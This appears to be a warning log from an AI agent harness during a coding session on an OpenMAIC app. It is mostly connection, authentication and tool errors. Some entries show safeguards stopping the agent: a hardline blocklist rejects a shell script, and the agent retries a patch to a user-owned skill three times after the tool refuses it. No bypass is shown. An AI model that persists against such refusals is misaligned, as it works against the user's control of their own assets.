retrying discovery thread 2026-09-08 14:52:43,109 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-08 14:52:43,130 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-08 14:52:43,163 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-08 14:52:51,326 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 14:52:57,257 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 14:52:57,257 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 14:57:57,934 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 15:03:05,789 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 15:08:14,025 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 15:13:20,296 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 15:14:43,349 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool read_file returned error (0.07s): {"content": "", "total_lines": 0, "file_size": 0, "truncated": false, "is_binary": false, "is_image": false, "error": "File not found: /opt/ai-os/projects/tech/OpenMAIC/app/Dockerfile"} 2026-09-08 15:15:42,546 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.13s): {"output": "---", "exit_code": 1, "error": null} 2026-09-08 15:18:27,226 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 15:20:33,027 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool read_file returned error (0.07s): {"content": "", "total_lines": 0, "file_size": 0, "truncated": false, "is_binary": false, "is_image": false, "error": "File not found: /etc/nginx/sites-enabled/default"} 2026-09-08 15:21:08,210 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.59s): {"output": "", "exit_code": 35, "error": null} 2026-09-08 15:22:58,642 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool read_file returned error (0.06s): {"content": "", "total_lines": 0, "file_size": 0, "truncated": false, "is_binary": false, "is_image": false, "error": "File not found: /opt/ai-os/products/ceo/projects/tech/OpenMAIC/app/docker-compose 2026-09-08 15:23:24,917 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.00s): {"output": "", "exit_code": -1, "error": "This foreground command appears to start a long-lived server/watch process. Run it with background=true, verify readiness (health endpoint/log signal), then e 2026-09-08 15:23:27,850 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.01s): {"output": "", "exit_code": -1, "error": "This foreground command appears to start a long-lived server/watch process. Run it with background=true, verify readiness (health endpoint/log signal), then e 2026-09-08 15:23:35,221 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 15:24:23,696 WARNING agent.relay_runtime: Skipping Relay instrumentation for concurrent Hermes turn 20260908_145242_f594ff:20260908_145242_f594ff:e35d0f52 in session 20260908_145242_f594ff 2026-09-08 15:28:41,885 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 15:29:52,070 WARNING [20260908_145242_f594ff] tools.approval: Hardline block: command parser limit or malformed executable payload (command: cat > /tmp/hermes-verify-openmaic-models.sh << 'EOF' #!/bin/bash PASS=*** FAIL=0 check() { local desc="$1"; local result="$2"; local expect="$3" if echo "$result" | grep -q "$expect"; then ech) 2026-09-08 15:29:52,082 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.02s): {"output": "", "exit_code": -1, "error": "BLOCKED (hardline): command parser limit or malformed executable payload. This command is on the unconditional blocklist and cannot be executed via the agent 2026-09-08 15:30:11,563 WARNING agent.relay_runtime: Skipping Relay instrumentation for concurrent Hermes turn 20260908_145242_f594ff:20260908_145242_f594ff:c2544c43 in session 20260908_145242_f594ff 2026-09-08 15:33:37,377 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.18s): {"output": "You are not logged into any GitHub hosts. To log in, run: gh auth login", "exit_code": 1, "error": null} 2026-09-08 15:33:50,209 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 15:36:05,759 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (136.18s): {"output": "Traceback (most recent call last):\n File \"/usr/lib/python3/dist-packages/urllib3/connection.py\", line 203, in _new_conn\n sock = connection.create_connection(\n ^^^^^^^^^^ 2026-09-08 15:38:40,895 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (134.63s): {"output": "fatal: unable to access 'https://github.com/nhivo2504/ceo-ai-os.git/': Failed to connect to github.com port 443 after 134505 ms: Couldn't connect to server", "exit_code": 128, "error": nul 2026-09-08 15:38:58,250 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 15:41:45,861 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.04s): {"output": "", "exit_code": 2, "error": null} 2026-09-08 15:42:08,177 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool memory returned error (0.00s): {"success": false, "error": "After applying all 1 operations, memory would be at 2,486/2,200 chars -- over the limit. Remove or shorten more entries in the same batch (see current_entries below), then 2026-09-08 15:44:06,243 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 15:46:29,381 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 15:46:29,381 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 15:47:02,130 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 15:47:02,130 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 15:47:08,992 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 15:47:08,993 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 15:47:45,443 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-08 15:47:45,484 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-08 15:47:45,502 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-08 15:47:45,545 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-08 15:47:53,586 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 15:53:00,306 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 15:58:07,144 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 16:01:52,971 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-08 16:01:53,079 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-08 16:01:53,113 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-08 16:01:53,236 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-08 16:01:53,518 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 16:01:53,518 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 16:02:01,081 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 16:07:08,550 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 16:12:16,242 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 16:17:24,655 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 16:22:31,958 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 16:27:39,816 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 16:32:48,062 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 16:37:54,464 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 16:43:02,516 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 16:48:09,413 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 16:53:16,920 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 16:58:23,230 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 17:03:29,578 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 17:04:14,647 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 17:04:14,647 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 17:08:36,312 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 17:12:43,070 WARNING agent.chat_completion_helpers: Stream ended with no finish_reason after delivering text with no tool calls; treating as a mid-stream drop. 2026-09-08 17:13:42,836 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 17:14:08,601 WARNING agent.model_metadata: Could not determine context length for model 'default' (base_url=http://localhost:20128/v1/) — falling back to 256,000 tokens. Set model.context_length in config.yaml to override. 2026-09-08 17:15:02,601 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.21s): {"output": "rm 'projects/tech/OpenMAIC/app'\n---\nReinitialized existing Git repository in /opt/ai-os/products/ceo/projects/tech/OpenMAIC/app/.git/\nOn branch main\nYour branch is up to date with 'ori 2026-09-08 17:15:12,769 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.62s): {"output": "fatal: could not read Password for 'https://***@github.com': No such device or address", "exit_code": 128, "error": null} 2026-09-08 17:17:20,102 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool patch returned error (0.04s): {"success": false, "error": "Could not find a match for old_string in the file\n\nDid you mean one of these sections?\n 2| \tpath = projects/blog/nhi-nhi-vo-blog\n 3| \turl = https://github.com/nh 2026-09-08 17:17:35,991 WARNING agent.relay_runtime: Skipping Relay instrumentation for concurrent Hermes turn 20260908_145242_f594ff:20260908_145242_f594ff:646e32a8 in session 20260908_145242_f594ff 2026-09-08 17:17:38,089 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.40s): {"output": "{\"ok\": false, \"error\": \"lệnh không rõ: list\"}\n{\"ok\": false, \"error\": \"lệnh không rõ: --help\"}", "exit_code": 1, "error": null} 2026-09-08 17:17:44,809 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool search_files returned error (0.12s): {"total_count": 0, "error": "Search failed: rg: unrecognized flag -1"} 2026-09-08 17:17:46,356 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool skill_manage returned error (0.02s): {"success": false, "error": "Refusing background curator patch for skill 'hermes-gateway-commands': the skill is not curator-managed (created_by=None). User-owned skills are off-limits to autonomous c 2026-09-08 17:18:51,474 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 17:20:52,421 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.00s): {"output": "", "exit_code": -1, "error": "This foreground command appears to start a long-lived server/watch process. Run it with background=true, verify readiness (health endpoint/log signal), then e 2026-09-08 17:21:44,782 WARNING agent.relay_runtime: Skipping Relay instrumentation for concurrent Hermes turn 20260908_145242_f594ff:66a2be8a-e125-4ada-9133-d78b38072872:e7850a1a in session 20260908_145242_f594ff 2026-09-08 17:21:54,190 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool skill_manage returned error (0.02s): {"success": false, "error": "Refusing background curator patch for skill 'hermes-gateway-commands': the skill is not curator-managed (created_by=None). User-owned skills are off-limits to autonomous c 2026-09-08 17:23:50,849 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool web_extract returned error (0.02s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-09-08 17:23:59,385 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 17:24:26,739 WARNING hermes.lint.lsp: lsp[typescript] spawn/initialize failed for /opt/ai-os/products/ceo/projects/tech/OpenMAIC/app: LSPRequestError: LSP error -32603: Request initialize failed with message: Could not find a valid TypeScript installation. Please ensure that the "typescript" dependency is installed in the workspace or that a valid `tsserver.path` is specified. Exiting. 2026-09-08 17:26:00,318 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (2.44s): {"output": "OCI runtime exec failed: exec failed: unable to start container process: exec: \"pnpm\": executable file not found in $PATH\r\n\n> openmaic@1.0.0 test\n> vitest run tests/agent-runtime/use 2026-09-08 17:29:07,419 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 17:31:42,125 WARNING hermes.lint.lsp: lsp[typescript] spawn/initialize failed for /opt/ai-os/products/ceo: LSPRequestError: LSP error -32603: Request initialize failed with message: Could not find a valid TypeScript installation. Please ensure that the "typescript" dependency is installed in the workspace or that a valid `tsserver.path` is specified. Exiting. 2026-09-08 17:31:51,686 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.13s): {"output": "--- Kiểm tra thư mục Builtin Skills ---\nTìm thấy 23 thư mục kỹ năng sư phạm:\n\n--- Kiểm tra logic vá lỗi API Route ---\nLỖI: Cổng chặn cũ vẫn còn trong route.ts", "exit_code": 1, "error" 2026-09-08 17:32:27,434 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool skill_manage returned error (0.01s): {"success": false, "error": "Refusing background curator patch for skill 'hermes-gateway-commands': the skill is not curator-managed (created_by=None). User-owned skills are off-limits to autonomous c 2026-09-08 17:34:14,522 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 17:39:21,080 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 17:41:05,144 WARNING hermes_cli.web_server: event loop stalled 5.5s (GIL pressure suspected) 2026-09-08 17:43:12,979 WARNING hermes_cli.web_server: event loop stalled 5.9s (GIL pressure suspected) 2026-09-08 17:43:23,183 WARNING hermes_cli.web_server: event loop stalled 8.8s (GIL pressure suspected) 2026-09-08 17:44:14,389 WARNING hermes_cli.web_server: event loop stalled 50.0s (GIL pressure suspected) 2026-09-08 17:44:16,269 WARNING tui_gateway.ws: ws send failed peer=127.0.0.1:39928 error_type=WebSocketDisconnect error= 2026-09-08 17:44:16,402 ERROR tui_gateway.ws: ws receive failed peer=127.0.0.1:39928 Traceback (most recent call last): File "/usr/local/lib/hermes-agent/tui_gateway/ws.py", line 341, in handle_ws raw = await ws.receive_text() ^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/starlette/websockets.py", line 118, in receive_text raise RuntimeError('WebSocket is not connected. Need to call "accept" first.') RuntimeError: WebSocket is not connected. Need to call "accept" first. 2026-09-08 17:44:44,732 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 17:45:15,965 WARNING hermes_cli.web_server: event loop stalled 16.8s (GIL pressure suspected) 2026-09-08 17:45:18,772 WARNING tui_gateway.ws: ws write slow (loop stalled >10.0s) peer=127.0.0.1:41914 — frame left in flight 2026-09-08 17:45:28,174 WARNING tui_gateway.ws: ws write slow (loop stalled >10.0s) peer=127.0.0.1:41914 — frame left in flight 2026-09-08 17:45:32,717 WARNING hermes_cli.web_server: event loop stalled 14.7s (GIL pressure suspected) 2026-09-08 17:45:39,459 WARNING tui_gateway.ws: ws write slow (loop stalled >10.0s) peer=127.0.0.1:41914 — frame left in flight 2026-09-08 17:45:40,396 WARNING tui_gateway.ws: ws write slow (loop stalled >10.0s) peer=127.0.0.1:41914 — frame left in flight 2026-09-08 17:45:52,009 WARNING hermes_cli.web_server: event loop stalled 17.3s (GIL pressure suspected) 2026-09-08 17:46:42,120 WARNING hermes_cli.web_server: event loop stalled 6.4s (GIL pressure suspected) 2026-09-08 17:47:49,850 WARNING hermes_cli.web_server: event loop stalled 5.7s (GIL pressure suspected) 2026-09-08 17:48:15,827 WARNING hermes_cli.web_server: event loop stalled 8.8s (GIL pressure suspected) 2026-09-08 17:48:51,539 WARNING hermes_cli.web_server: event loop stalled 34.0s (GIL pressure suspected) 2026-09-08 17:49:09,790 WARNING hermes_cli.web_server: event loop stalled 15.4s (GIL pressure suspected) 2026-09-08 17:49:19,168 WARNING hermes_cli.web_server: event loop stalled 8.2s (GIL pressure suspected) 2026-09-08 17:49:27,484 WARNING hermes_cli.web_server: event loop stalled 6.3s (GIL pressure suspected) 2026-09-08 17:49:49,425 WARNING tui_gateway.ws: ws send failed peer=127.0.0.1:41914 error_type=WebSocketDisconnect error= 2026-09-08 17:49:49,429 WARNING tui_gateway.ws: ws response send failed peer=127.0.0.1:41914 id=79 method=config.set 2026-09-08 17:49:58,422 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 17:51:39,906 WARNING tui_gateway.ws: ws write slow (loop stalled >10.0s) peer=127.0.0.1:37014 — frame left in flight 2026-09-08 17:52:09,352 WARNING hermes_cli.web_server: event loop stalled 44.6s (GIL pressure suspected) 2026-09-08 17:52:21,410 WARNING tui_gateway.ws: ws write slow (loop stalled >10.0s) peer=127.0.0.1:37014 — frame left in flight 2026-09-08 17:52:42,723 WARNING hermes_cli.web_server: event loop stalled 31.4s (GIL pressure suspected) 2026-09-08 17:52:44,666 WARNING tui_gateway.ws: ws write slow (loop stalled >10.0s) peer=127.0.0.1:37014 — frame left in flight 2026-09-08 17:53:23,892 WARNING tui_gateway.ws: ws write slow (loop stalled >10.0s) peer=127.0.0.1:37014 — frame left in flight 2026-09-08 17:53:29,023 WARNING tui_gateway.ws: ws write slow (loop stalled >10.0s) peer=127.0.0.1:37014 — frame left in flight 2026-09-08 17:53:35,102 WARNING hermes_cli.web_server: event loop stalled 49.6s (GIL pressure suspected) 2026-09-08 17:54:44,903 WARNING tools.mcp_tool: MCP server 'paper-search-mcp' keepalive failed, triggering reconnect (state: connected → degraded): TimeoutError: 2026-09-08 17:54:46,364 WARNING hermes_cli.web_server: event loop stalled 70.1s (GIL pressure suspected) 2026-09-08 17:54:47,309 WARNING tui_gateway.ws: ws send failed peer=127.0.0.1:37014 error_type=WebSocketDisconnect error= 2026-09-08 17:54:47,329 ERROR tui_gateway.ws: ws receive failed peer=127.0.0.1:37014 Traceback (most recent call last): File "/usr/local/lib/hermes-agent/tui_gateway/ws.py", line 341, in handle_ws raw = await ws.receive_text() ^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/starlette/websockets.py", line 118, in receive_text raise RuntimeError('WebSocket is not connected. Need to call "accept" first.') RuntimeError: WebSocket is not connected. Need to call "accept" first. 2026-09-08 17:56:19,770 WARNING hermes_cli.web_server: event loop stalled 31.6s (GIL pressure suspected) 2026-09-08 17:56:27,656 WARNING hermes_cli.web_server: event loop stalled 5.7s (GIL pressure suspected) 2026-09-08 17:56:34,932 WARNING hermes_cli.web_server: event loop stalled 5.4s (GIL pressure suspected) 2026-09-08 17:58:08,656 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 17:59:20,977 ERROR agent.chat_completion_helpers: Streaming failed before delivery: Error code: 408 Traceback (most recent call last): File "/usr/local/lib/hermes-agent/agent/chat_completion_helpers.py", line 3992, in _call result["response"] = _call_chat_completions(stream_attempt_id) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/agent/chat_completion_helpers.py", line 3341, in _call_chat_completions relay_llm.stream( File "/usr/local/lib/hermes-agent/agent/relay_llm.py", line 333, in stream return ManagedLlmStream( ^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/agent/relay_llm.py", line 407, in __init__ raw_stream = stream_factory(request) ^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/agent/chat_completion_helpers.py", line 3279, in _open_stream return request_client.chat.completions.create(**stream_kwargs) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/openai/_utils/_utils.py", line 286, in wrapper return func(*args, **kwargs) ^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/openai/resources/chat/completions/completions.py", line 1204, in create return self._post( ^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/openai/_base_client.py", line 1297, in post return cast(ResponseT, self.request(cast_to, opts, stream=stream, stream_cls=stream_cls)) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/openai/_base_client.py", line 1070, in request raise self._make_status_error_from_response(err.response) from None openai.APIStatusError: Error code: 408 2026-09-08 17:59:24,015 WARNING hermes_cli.web_server: event loop stalled 5.4s (GIL pressure suspected) 2026-09-08 17:59:44,223 WARNING hermes_cli.web_server: event loop stalled 18.1s (GIL pressure suspected) 2026-09-08 17:59:44,563 WARNING [20260908_145242_f594ff] agent.conversation_loop: API call failed (attempt 1/3) error_type=APIStatusError thread=Thread-1110 (run):124632107517632 provider=custom base_url=http://localhost:20128/v1 model=default summary=HTTP 408: Error code: 408 2026-09-08 17:59:46,622 WARNING [20260908_145242_f594ff] agent.conversation_loop: Retrying API call in 2.4595389825877354s (attempt 1/3) thread=Thread-1110 (run):124632107517632 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Error code: 408 2026-09-08 18:08:58,988 WARNING hermes_cli.plugins: Plugin operate/handoff-task: unknown kind 'command' (valid: backend, exclusive, model-provider, platform, standalone); treating as 'standalone' 2026-09-08 18:09:00,531 WARNING hermes_cli.plugins: Failed to load plugin 'ai-os': unexpected indent (handoff.py, line 1) 2026-09-08 18:22:54,150 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 18:22:54,150 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 18:22:58,670 WARNING agent.model_metadata: Could not determine context length for model 'default' (base_url=default) — falling back to 256,000 tokens. Set model.context_length in config.yaml to override. 2026-09-08 18:22:59,556 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-08 18:23:06,003 WARNING tools.registry: check_fn check_bfl_requirements returned False; dependent tools will be unavailable this turn 2026-09-08 18:23:06,028 WARNING tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-09-08 18:23:06,034 WARNING tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-09-08 18:23:06,347 WARNING tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-09-08 18:23:06,354 WARNING tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-09-08 18:23:06,356 WARNING tools.registry: check_fn _check_kanban_mode returned False; dependent tools will be unavailable this turn 2026-09-08 18:23:06,357 WARNING tools.registry: check_fn _check_kanban_orchestrator_mode returned False; dependent tools will be unavailable this turn 2026-09-08 18:23:06,754 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 18:23:06,754 WARNING tools.mcp_tool: Failed to connect to MCP server 'stays' (command=stays mcp): Connection closed 2026-09-08 18:23:06,764 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-08 18:23:06,822 WARNING agent.model_metadata: Could not determine context length for model 'default' (base_url=http://localhost:20128/v1) — falling back to 256,000 tokens. Set model.context_length in config.yaml to override. 2026-09-08 18:23:06,975 WARNING agent.model_metadata: Could not determine context length for model 'complex' (base_url=http://localhost:20128/v1) — falling back to 256,000 tokens. Set model.context_length in 